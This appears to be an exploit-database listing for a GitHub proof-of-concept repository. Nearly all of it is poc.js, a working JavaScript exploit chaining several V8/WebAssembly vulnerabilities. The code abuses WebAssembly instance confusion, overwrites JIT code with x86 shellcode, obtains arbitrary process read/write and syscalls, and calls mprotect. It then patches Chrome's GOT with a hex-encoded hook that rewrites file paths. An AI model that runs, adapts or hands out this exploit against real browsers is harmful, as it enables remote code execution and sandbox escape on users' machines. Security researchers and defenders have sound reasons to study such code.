Exploit database

GH-74abf5978e4694bc486e957ec92731f2

sneakynachos/cve-2026-87575-cve-2026-87606-cve-2026-87491-and-cve-2026-85046.-escape-the-v8-carcass.

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-87575

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.js

JavaScript · 14,546 bytes
(() => {
const encoder=new TextEncoder();

function encodeLeb(n){const a=[];do{let b=n&127;n=Math.floor(n/128);if(n)b|=128;a.push(b)}while(n);return a}
function encodeVector(a){return[...encodeLeb(a.length),...a.flat()]}
function encodeString(s){const a=[...encoder.encode(s)];return[...encodeLeb(a.length),...a]}
function encodeSection(i,a){return[i,...encodeLeb(a.length),...a]}
function encodeBody(a){return[...encodeLeb(a.length+2),0,...a,0x0b]}

function buildModule(memoryIndex=-1,exceptionEntries=1,memory64=false){
  const d=memoryIndex>=0;
  const ty=[[0x60,0,1,0x7f],[0x60,1,0x6f,0],[0x60,0,1,0x6f],[0x60,1,0x7f,1,0x7f]],im=[[...encodeString('m'),...encodeString('functions'),1,0x70,1,1,1],[...encodeString('m'),...encodeString('tag'),4,0,1]],ca=[0x41,0,0x11,0,0],ge=[0x02,2,0x1f,2,1,0,0,0,0x41,0,0x25,1,0x0a,0x0b,0x0b,0x1a,0x41,0,0x24,5],dr=[...ca,0x1a,0x20,0,0x04,0x40,...ge,...ca,0x0f,0x0b,0x41,0];
  const mi=d?memoryIndex:0,read=[0x23,0,0x28,0x42,...encodeLeb(mi),0],write=[0x23,0,0x23,1,0x36,0x42,...encodeLeb(mi),0,0x41,0],spray=[...new Array(24).fill(0).flatMap(()=>[0x23,1,0x1a]),0x41,0,0x23,1,0x36,0x42,0,0,0x41,0],gl=[];for(let i=0;i<6;i++)gl.push([memory64&&i===0?0x7e:0x7f,1,memory64&&i===0?0x42:0x41,0,0x0b]);const me=[];for(let i=0;i<(d?Math.max(7,mi+1):1);i++)me.push([memory64&&i===mi?5:1,1,1]);
  const ex=[[...encodeString('exceptions'),1,1],[...encodeString('driver'),0,0],[...encodeString('old'),0,1],[...encodeString('read'),0,2],[...encodeString('write'),0,3],[...encodeString('spray'),0,4],[...encodeString('callOld'),0,5],[...encodeString('memory'),2,0],[...encodeString('g0'),3,0],[...encodeString('g1'),3,1],[...encodeString('g2'),3,2],[...encodeString('g5'),3,5]];return new Uint8Array([0,97,115,109,1,0,0,0,...encodeSection(1,encodeVector(ty)),...encodeSection(2,encodeVector(im)),...encodeSection(3,encodeVector([[3],[0],[0],[0],[0],[0]])),...encodeSection(4,encodeVector([[0x69,1,exceptionEntries,exceptionEntries]])),...encodeSection(5,encodeVector(me)),...encodeSection(6,encodeVector(gl)),...encodeSection(7,encodeVector(ex)),...encodeSection(10,encodeVector([encodeBody(dr),encodeBody([0x23,5]),encodeBody(read),encodeBody(write),encodeBody(spray),encodeBody([0x10,1])])),...encodeSection(0,[1,115,d?2:1])])
}

function backingAddress(o){return(addrof(o)-1)>>>0}
let heapRegion=0;
function heapAddress(v){return(v&1)&&(v>>>24)===heapRegion?(v-1)>>>0:-1}
function looseAddress(v){return(v&1)&&v<0x10000000?(v-1)>>>0:-1}
function refPaths(root,target,limits){
  const out=[];
  function walk(addr,depth,path){
    for(let off=0;off<limits[depth];off+=4){
      const v=read32(addr+off)>>>0;
      if(depth===limits.length-1){if(v===target)out.push([...path,off]);continue}
      const next=heapAddress(v);if(next>=0)walk(next,depth+1,[...path,off]);
    }
  }
  walk(root,0,[]);return out
}
function follow(root,path){for(const off of path){root=heapAddress(read32(root+off));if(root<0)throw Error('reference path changed')}return root}
function tableSlot(t,twin,marker){
  const paths=[];
  for(let outer=0;outer<0x40;outer+=4){
    const a=looseAddress(read32(backingAddress(t)+outer)),b=looseAddress(read32(backingAddress(twin)+outer));if(a<0||b<0||a===b)continue;
    if(read32(a)!==read32(b)||looseAddress(read32(a))<0)continue;
    for(let length=0;length<0x1c;length+=4)if(read32(a+length)===t.length&&read32(b+length)===twin.length)paths.push([outer,length+4])
  }
  if(paths.length!==1)throw Error(`table entry discovery failed ${paths.length}`);const slot=looseAddress(read32(backingAddress(t)+paths[0][0]))+paths[0][1];write32(slot,addrof(marker));let got=marker;try{got=t.get(0)}catch(e){}if(got!==marker)throw Error('table entry self-test failed');return slot
}

let table,imports,a,d,av,target,gets;

function bootstrapCage(){
  // exploit.js leaves the CVE-85046 cage read/write primitive in cage_rw.
  if(!cage_rw)throw Error('85046 bootstrap failed');
  table=new WebAssembly.Table({element:'anyfunc',initial:1,maximum:1});
  imports={m:{functions:table,tag:WebAssembly.JSTag}};
  a=new WebAssembly.Instance(new WebAssembly.Module(buildModule()),imports);
  d=new WebAssembly.Instance(new WebAssembly.Module(buildModule(6,1,true)),imports);
  av=new DataView(a.exports.memory.buffer);
  heapRegion=read32(backingAddress(proof_obj))>>>24;
  a.exports.g5.value=0x11;d.exports.g5.value=0x21;d.exports.read();d.exports.write();a.exports.spray();a.exports.callOld();av.setUint32(0,0,true);
  const p=[1.1,2.2],pa=backingAddress(p),slot=((read32(pa+8)-1)+8)>>>0,saved=[read32(slot),read32(slot+4)];
  if(proof_obj[0]!==13.37||saved[0]!==lo(p[0])||saved[1]!==hi(p[0]))throw Error('cage read self-test failed');
  write32(slot,lo(3.3));write32(slot+4,hi(3.3));if(p[0]!==3.3)throw Error('cage write self-test failed');write32(slot,saved[0]);write32(slot+4,saved[1]);
}

function installForgedGetter(){
  // Copy the private exception key so the Wasm catch invokes our getter.
  target=d.exports.read;gets=0;
  const gen=new WebAssembly.Exception(new WebAssembly.Tag({parameters:[]}),[]),gen2=new WebAssembly.Exception(new WebAssembly.Tag({parameters:[]}),[]),key=Symbol('jitExec'),forged=Object.defineProperty({},key,{get(){gets++;table.set(0,target);return undefined},configurable:true});
  const paths=refPaths(backingAddress(forged),addrof(key),[0x20,0x40,0x100]);if(!paths.length)throw Error('descriptor discovery failed');
  const path=paths.sort((x,y)=>x[x.length-1]-y[y.length-1])[0],keyOff=path[path.length-1],forgedData=follow(backingAddress(forged),path.slice(0,-1)),genData=follow(backingAddress(gen),path.slice(0,-1)),privateKey=read32(genData+keyOff);
  if(!(privateKey&1)||privateKey===addrof(key))throw Error('private key discovery failed');write32(forgedData+keyOff,privateKey);
  const twin=new WebAssembly.Instance(new WebAssembly.Module(buildModule(-1,2)),imports).exports.exceptions,slot=tableSlot(a.exports.exceptions,twin,gen2);write32(slot,addrof(forged));table.set(0,a.exports.old);
  for(let i=0;i<300000;i++)a.exports.driver(0);
  av.setUint32(0,0,true);d.exports.g1.value=0x2468ace0;d.exports.spray();
  if(av.getUint32(0,true)!==0)throw Error('instance isolation self-test failed');
  a.exports.g2.value=0x13579bdf;invoke(d.exports.spray);const wrote=av.getUint32(0,true);
  if(gets!==1||wrote!==0x13579bdf)throw Error(`stale instance self-test failed ${gets}/${wrote.toString(16)}`);
  av.setUint32(0,0,true);
}

function invoke(f){table.set(0,a.exports.old);target=f;return a.exports.driver(1)>>>0}
// Each getter swaps in f while optimized code retains A as the implicit instance.
function arwRead(off){setOffset(off);return invoke(targetInstance.exports.read)}
function arwWrite(off,val){setOffset(off);if(targetMemory64)a.exports.g2.value=val|0;else a.exports.g1.value=val|0;invoke(targetInstance.exports.write)}

function overwriteCode(off,b){for(let i=0;i<b.length;i+=4){let v=0x90909090;for(let j=0;j<4&&i+j<b.length;j++)v=(v&~(255<<(j*8)))|(b[i+j]<<(j*8));arwWrite(off+i,v)}}
function readCode(off,n){const b=[];for(let i=0;i<n;i+=4){const v=arwRead(off+i);for(let j=0;j<4;j++)b.push((v>>>(j*8))&255)}return b}
function writeCode(off,b){for(let i=0;i<b.length;i+=4){let v=0;for(let j=0;j<4;j++)v|=b[i+j]<<(j*8);arwWrite(off+i,v)}}
function restoreCode(saved){let failure;for(const [off,b] of saved)try{writeCode(off,b)}catch(e){failure=e}for(const [off,b] of saved)try{const got=readCode(off,b.length);if(got.some((v,i)=>v!==b[i]))failure=Error('trusted code restoration mismatch')}catch(e){failure=e}if(failure)throw failure}

let targetInstance,targetMemory64=false;
function selectTarget(instance,memory64=false){targetInstance=instance;targetMemory64=memory64}
function setOffset(off){if(targetMemory64){off=BigInt(off);a.exports.g0.value=Number(off&0xffffffffn);a.exports.g1.value=Number(off>>32n&0xffffffffn)}else a.exports.g0.value=Number(off)|0}
function discoverCodeAlias(){
  const indices=[6,...Array.from({length:16},(_,i)=>i).filter(i=>i!==6)];
  for(const memoryIndex of indices){
    selectTarget(memoryIndex===6?d:new WebAssembly.Instance(new WebAssembly.Module(buildModule(memoryIndex,1,true)),imports),true);
    let bytes=[];try{for(let off=0;off<0x200;off+=4){const v=arwRead(off);bytes.push(v&255,(v>>>8)&255,(v>>>16)&255,v>>>24)}}catch(e){continue}
    const jumps=[];
    for(let source=0;source<bytes.length-5;source++)if(bytes[source]===0xe9){const disp=arwRead(source+1)|0,body=source+5+disp;if(body>=0&&body<0xffc0&&!jumps.some(x=>x.body===body))jumps.push({source,body})}
    for(const dst of jumps.slice(1))for(const src of jumps.slice(1)){
      if(Math.abs(dst.body-src.source)<12)continue;
      const saved=[[dst.body,readCode(dst.body,40)],[src.source+1,readCode(src.source+1,4)]],marker=0x51525354;let keep=false;
      try{overwriteCode(dst.body,[0xb8,0x54,0x53,0x52,0x51,0xc3]);arwWrite(src.source+1,(dst.body-src.source-5)|0);if((a.exports.callOld()>>>0)===marker){overwriteCode(dst.body,[0xb8,0x27,0,0,0,0x0f,0x05,0xc3]);const nativePid=a.exports.callOld()>>>0;if(nativePid&&nativePid<0x400000){keep=true;return {memoryIndex,source:src.source,body:dst.body,pid:nativePid,saved}}}}catch(e){}finally{if(!keep)restoreCode(saved)}
    }
  }
  throw Error('code alias discovery failed')
}

function qwordBytes(value){value=BigInt.asUintN(64,BigInt(value));const b=[];for(let i=0;i<8;i++){b.push(Number(value&255n));value>>=8n}return b}
function disp32(value){return[value&255,value>>>8&255,value>>>16&255,value>>>24]}
function nativeDiagnostic(alias){
  const b=[0xe8,0,0,0,0,0x59,0x48,0x8b,0x46,0x17,0x48,0x89,0x80,...disp32(0x150),0x48,0x89,0x48,120,0x48,0x89,0x20,0x48,0x89,0x68,8,0x48,0x89,0x70,16,0x4c,0x89,0x68,24,0x4c,0x89,0x70,32,0x4c,0x89,0x78,40,0x4c,0x89,0x60,48,0x48,0x89,0x58,56,0x48,0x89,0x48,64,0x48,0x89,0x50,72,0x48,0x89,0x78,80,0x4c,0x89,0x40,88,0x4c,0x89,0x48,96,0x4c,0x89,0x50,104,0x4c,0x89,0x58,112];
  for(let i=0;i<16;i++)b.push(0x48,0x8b,0x4c,0x24,i*8,0x48,0x89,0x88,...disp32(0x80+i*8));
  b.push(0x48,0x89,0xe9);for(let i=0;i<4;i++){let d=0x100+i*16;b.push(0x48,0x89,0x88,...disp32(d),0x48,0x8b,0x51,8,...[0x48,0x89,0x90,...disp32(d+8)],0x48,0x8b,9)}b.push(0xc3);
  overwriteCode(alias.body,b);a.exports.callOld();
  const values=[];for(let i=0;i<0x158;i+=8)values.push(av.getBigUint64(i,true));return values
}
function installProcessRW(alias){
  const diagnostic=nativeDiagnostic(alias),codeBase=diagnostic[15]-BigInt(alias.body+5),memoryBase=diagnostic[42];
  const body=[0x48,0x8b,0x46,0x17,0x83,0x38,0,0x75,0x0e,0x48,0x8b,0x48,8,0x48,0x8b,9,0x48,0x89,0x48,32,0x31,0xc0,0xc3,0x83,0x38,1,0x75,0x12,0x48,0x8b,0x48,8,0x48,0x8b,0x50,16,0x48,0x89,0x11,0x48,0x89,0x50,32,0x31,0xc0,0xc3,0x49,0x89,0xc0,0x48,0x8b,0x78,8,0x48,0x8b,0x70,16,0x48,0x8b,0x50,24,0x41,0x8b,0x40,4,0x0f,5,0x49,0x89,0x40,32,0xc3];
  overwriteCode(alias.body,body);
  function call(op,address=0n,value=0n,extra=0n,number=0){av.setUint32(0,op,true);av.setUint32(4,number,true);av.setBigUint64(8,BigInt.asUintN(64,address),true);av.setBigUint64(16,BigInt.asUintN(64,value),true);av.setBigUint64(24,BigInt.asUintN(64,extra),true);a.exports.callOld();return av.getBigUint64(32,true)}
  const R=address=>call(0,address),W=(address,value)=>call(1,address,value),syscall=(number,arg0=0n,arg1=0n,arg2=0n)=>BigInt.asIntN(64,call(2,arg0,arg1,arg2,number));
  av.setBigUint64(0x300,0x1122334455667788n,true);
  if(R(memoryBase+0x300n)!==0x1122334455667788n)throw Error('process read self-test failed');W(memoryBase+0x300n,0x8877665544332211n);if(av.getBigUint64(0x300,true)!==0x8877665544332211n)throw Error('process write self-test failed');
  let base=0n,returnAddress=0n;for(const pointer of diagnostic){const candidate=pointer-0x6f1ad49n;if(candidate>0n&&(candidate&0xfffn)===0n&&R(candidate)===0x00010102464c457fn){base=candidate;returnAddress=pointer;break}}if(!base)throw Error('Chrome base not found');
  return{R,W,syscall,base,returnAddress,codeBase,memoryBase,diagnostic}
}
function runPayload(alias){
  const rw=installProcessRW(alias),got1=rw.base+0x113875c0n,got2=rw.base+0x1138a018n,got=got1,hookOffset=0x400,hookAddress=rw.codeBase+BigInt(hookOffset),relro=got1&~0xfffn;
  const hookHex='5341544155415641574889fb4989fc4989d54889d1fcf3a44983fd400f82480100004981fd000040000f873b0100004d89e04f8d4c2cec4d39c80f872a01000048b85300540041004700493900751a48b8450032005f00410049394008750a4181781052004d00740549ffc0ebc94f8d742ce44d39e60f82ee00000048b82f0074006d007000493906752c48b82f0061006c006c0049394608751c48b86f0077006500640049394610750c41817e18780078007502eb0549ffceebb74d89f749ffcf4d39e70f829f00000048b82f0074006d007000493907752c48b82f0061006c006c0049394708751c48b86f0077006500640049394710750c41817f18780078007502eb0549ffcfebb748b82f0074006d00700049890648b82f006f00660066004989460848b86c0069006d0069004989461041c746187400730049ba111111111111111148b8222222222222222249890249ba333333333333333348b844444444444444444989024889d8415f415e415d415c5bc3',hook=Array.from(hookHex.match(/../g),x=>parseInt(x,16));hook.fill(0x90,0x13c,0x16a);const original=rw.R(got),copy=hook.findIndex((v,i)=>v===0xfc&&hook[i+1]===0xf3&&hook[i+2]===0xa4);hook.splice(copy,3,0x48,0xb8,...qwordBytes(original),0xff,0xd0);const trampoline=0x17+hook.length,guard=[0x48,0x83,0xfa,0x40,0x0f,0x82,...disp32(trampoline-10),0x48,0x81,0xfa,0,0,0x40,0,0x0f,0x87,...disp32(trampoline-23)],code=[...guard,...hook,0x48,0xb8,...qwordBytes(original),0xff,0xe0];overwriteCode(hookOffset,code);
  overwriteCode(hookOffset,[0xf3,0x0f,0x1e,0xfa,...code]);
  const mprotect=rw.syscall(10,relro,0x4000n,3n);if(mprotect!==0n)throw Error('mprotect failed '+mprotect);rw.W(got1,hookAddress);rw.W(got2,hookAddress);if(rw.R(got1)!==hookAddress||rw.R(got2)!==hookAddress)throw Error('memcpy GOT patch failed');const parent=rw.syscall(110),socket=rw.syscall(41,1n,1n,0n);if(socket>=0n)rw.syscall(3,socket);
  return{pid,fullRW:true,base:'0x'+rw.base.toString(16),returnAddress:'0x'+rw.returnAddress.toString(16),memoryBase:'0x'+rw.memoryBase.toString(16),codeBase:'0x'+rw.codeBase.toString(16),mprotect:Number(mprotect),got1:'0x'+got1.toString(16),got2:'0x'+got2.toString(16),gotBefore:'0x'+original.toString(16),hook:'0x'+hookAddress.toString(16),parent:Number(parent),socket:Number(socket),externalProcess:parent>0n||socket>=0n}
}

let pid;
function main(){bootstrapCage();installForgedGetter();const alias=discoverCodeAlias();pid=alias.pid;const out=runPayload(alias);console.log('FULL_RW '+JSON.stringify(out));document.body.textContent='FULL_RW '+JSON.stringify(out)}
setTimeout(()=>{try{main()}catch(e){console.log('FAIL '+e.stack);document.body.textContent='FAIL '+e}},20);
})();